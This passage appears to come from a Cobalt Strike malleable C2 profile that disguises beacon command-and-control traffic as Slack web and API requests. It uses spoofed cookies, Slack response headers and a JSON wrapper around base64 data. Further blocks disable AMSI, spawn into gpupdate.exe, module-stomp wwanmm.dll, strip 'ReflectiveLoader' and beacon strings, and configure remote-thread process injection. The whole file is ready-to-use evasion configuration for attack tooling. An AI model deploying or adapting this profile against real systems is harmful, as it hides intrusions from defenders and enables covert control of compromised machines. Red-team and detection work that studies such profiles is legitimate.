";
append "
Notifications Banner
";
append "
";
append "Slack needs your permission to .";
append "
";
append "
";
append "We strongly recommend enabling desktop notifications if you’ll be using Slack on this computer.";
append " •";
append " •";
append "";
append "";
append "
";
print;
}
}
}
http-post {
set uri "/api/api.test";
client {
# header "Host" "msdevchat.slack.com";
header "Accept" "*/*";
header "Accept-Language" "en-US";
output {
append ";_ga=GA1.2.875";
append "__ar_v4=%8867UMDGS643";
prepend "d=";
# prepend "cvo_sid1=R456BNMD64;";
prepend "_ga=GA1.2.875;";
prepend "b=.12vPkW22o;";
header "Cookie";
print;
}
id {
#not sure on this, just trying to blend it in.
prepend "GA1.";
header "_ga";
}
}
server {
header "Content-Type" "application/json; charset=utf-8";
header "Connection" "close";
header "Server" "Apache";
header "Strict-Transport-Security" "max-age=31536000; includeSubDomains; preload";
header "Referrer-Policy" "no-referrer";
header "X-Content-Type-Options" "nosniff";
header "X-Slack-Req-Id" "6319165c-f976-4d0666532";
header "X-XSS-Protection" "0";
header "X-Slack-Backend" "h";
header "Vary" "Accept-Encoding";
header "Access-Control-Allow-Origin" "*";
header "X-Via" "haproxy-www-6g1x";
output {
base64;
prepend "{\"ok\":true,\"args\":{\"user_id\":\"LUMK4GB8C\",\"team_id\":\"T0527B0J3\",\"version_ts\":\"";
append "\"},\"warning\":\"superfluous_charset\",\"response_metadata\":{\"warnings\":[\"superfluous_charset\"]}}";
print;
}
}
}
http-stager {
set uri_x86 "/messages/DALBNSf25";
set uri_x64 "/messages/DALBNSF25";
client {
header "Accept" "*/*";
header "Accept-Language" "en-US,en;q=0.5";
header "Accept-Encoding" "gzip, deflate";
header "Connection" "close";
}
server {
header "Content-Type" "text/html; charset=utf-8";
header "Connection" "close";
header "Server" "Apache";
header "X-XSS-Protection" "0";
header "Strict-Transport-Security" "max-age=31536000; includeSubDomains; preload";
header "Referrer-Policy" "no-referrer";
header "X-Slack-Backend" "h";
header "Pragma" "no-cache";
header "Cache-Control" "private, no-cache, no-store, must-revalidate";
header "X-Frame-Options" "SAMEORIGIN";
header "Vary" "Accept-Encoding";
header "X-Via" "haproxy-www-suhx";
}
}
###Malleable PE Options###
post-ex {
set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe";
set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";
set obfuscate "true";
set smartinject "true";
set amsi_disable "true";
}
#used peclone on wwanmm.dll.
#don't use 'set image_size_xx' if using 'set module_xx'
stage {
set checksum "0";
set compile_time "25 Oct 2016 01:57:23";
set entry_point "170000";
# set image_size_x86 "6586368";
# set image_size_x64 "6586368";
# set name "WWanMM.dll";
set userwx "false";
set cleanup "true";
set stomppe "true";
set obfuscate "true";
set rich_header "\xee\x50\x19\xcf\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xa3\x49\xe4\x9c\x84\x31\x77\x9c\x1e\xad\x86\x9c\xae\x31\x77\x9c\x1e\xad\x85\x9c\xa7\x31\x77\x9c\xaa\x31\x76\x9c\x08\x31\x77\x9c\x1e\xad\x98\x9c\xa3\x31\x77\x9c\x1e\xad\x84\x9c\x98\x31\x77\x9c\x1e\xad\x99\x9c\xab\x31\x77\x9c\x1e\xad\x80\x9c\x6d\x31\x77\x9c\x1e\xad\x9a\x9c\xab\x31\x77\x9c\x1e\xad\x87\x9c\xab\x31\x77\x9c\x52\x69\x63\x68\xaa\x31\x77\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
#module stomp
#don't use 'set image_size_xx' if using 'set module_xx'
set module_x86 "wwanmm.dll";
set module_x64 "wwanmm.dll";
transform-x86 {
prepend "\x90\x90\x90";
strrep "ReflectiveLoader" "";
strrep "beacon.dll" "";
}
transform-x64 {
prepend "\x90\x90\x90";
strrep "ReflectiveLoader" "";
strrep "beacon.x64.dll" "";
}
}
process-inject {
set allocator "NtMapViewOfSection";
set min_alloc "16700";
set userwx "false";
set startrwx "true";
transform-x86 {
prepend "\x90\x90\x90";
}
transform-x64 {
prepend "\x90\x90\x90";
}
execute {
CreateThread "ntdll!RtlUserThreadStart";
CreateThread;
NtQueueApcThread;
CreateRemoteThread;
RtlCreateUserThread;
}
}